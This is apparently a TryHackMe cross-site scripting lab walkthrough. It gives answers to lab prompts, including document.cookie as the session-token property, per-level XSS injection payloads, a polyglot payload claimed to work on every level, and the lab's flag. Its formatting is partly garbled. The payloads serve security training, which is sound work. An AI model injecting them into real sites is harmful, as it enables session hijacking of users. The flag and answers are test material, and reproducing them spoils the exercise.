Knowledge Hub

Cross-site Scripting

TryHackMe8 answered prompts

Cross-site Scripting TryHackMe walkthrough with 8 answered prompts and lab methodology notes.

Prompts and answers

  • Which document property could contain the user's session token?
    document.cookie
  • ```
    level1 XSS Payload Successful
  • *level1 XSS Payload Successful*
    level 2 "> XSS Payload Successful
  • *level 2 "> XSS Payload Successful*
    level 3 XSS Payload Successful
  • *level 3 XSS Payload Successful*
    level4 ';alert('THM');// XSS Payload Successful
  • *level4 ';alert('THM');// XSS Payload Successful*
    level5 alert('THM'); XSS Payload Successful
  • *level5 alert('THM'); XSS Payload Successful*
    level6 /images/cat.jpg" onload="alert('THM'); XSS Payload Successful
  • THM{XSS_MASTER}*
    or use jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a// \x3csVg/ \x3e for the all levels